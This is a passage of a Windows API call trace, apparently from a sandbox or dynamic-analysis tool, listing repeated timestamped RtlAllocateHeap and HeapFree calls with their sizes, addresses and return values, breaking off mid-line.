[0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511168 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511270 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511378 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511780 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511270 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511378 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514518 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511270 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511378 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511898 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511270 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511378 | out: hHeap=0x4f0000) returned 1 [0030.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514518 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | 